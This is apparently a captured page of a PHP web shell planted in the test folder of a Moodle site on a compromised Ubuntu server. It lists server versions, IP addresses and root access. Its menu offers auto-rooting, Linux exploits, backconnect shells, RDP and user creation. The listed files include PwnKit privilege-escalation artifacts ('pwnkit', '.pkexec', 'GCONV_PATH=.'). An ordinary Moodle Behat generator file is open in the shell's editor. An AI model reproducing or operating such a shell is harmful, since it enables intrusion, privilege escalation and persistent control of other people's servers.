Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
glossary /
tests /
generator /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_mod_glossary_generator.p...
3.37
KB
-rwxrwxrwx
lib.php
6.66
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_mod_glossary_generator.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Behat data generator for mod_glossary. * * @package mod_glossary * @category test * @copyright 2021 Noel De Martin * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_mod_glossary_generator extends behat_generator_base { /** * Get a list of the entities that Behat can create using the generator step. * * @return array */ protected function get_creatable_entities(): array { return [ 'categories' => [ 'singular' => 'category', 'datagenerator' => 'category', 'required' => ['glossary', 'name'], 'switchids' => ['glossary' => 'glossaryid'], ], 'entries' => [ 'singular' => 'entry', 'datagenerator' => 'entry', 'required' => ['glossary', 'concept', 'definition'], 'switchids' => ['glossary' => 'glossaryid', 'user' => 'userid'], ], ]; } /** * Get the glossary id using an activity idnumber. * * @param string $idnumber * @return int The glossary id */ protected function get_glossary_id(string $idnumber): int { $cm = $this->get_cm_by_activity_name('glossary', $idnumber); return $cm->instance; } /** * Add a category. * * @param array $data Category data. */ public function process_category(array $data) { global $DB; $glossary = $DB->get_record('glossary', ['id' => $data['glossaryid']], '*', MUST_EXIST); unset($data['glossaryid']); $this->get_data_generator()->create_category($glossary, $data); } /** * Preprocess entry data. * * @param array $data Raw data. * @return array Processed data. */ protected function preprocess_entry(array $data): array { if (isset($data['categories'])) { $categorynames = array_map('trim', explode(',', $data['categories'])); $categoryids = array_map(function ($categoryname) { global $DB; if (!$id = $DB->get_field('glossary_categories', 'id', ['name' => $categoryname])) { throw new Exception('The specified category with name "' . $categoryname . '" could not be found.'); } return $id; }, $categorynames); $data['categoryids'] = $categoryids; unset($data['categories']); } return $data; } /** * Get the module data generator. * * @return mod_glossary_generator Glossary data generator. */ protected function get_data_generator() { return $this->componentdatagenerator; } }
Close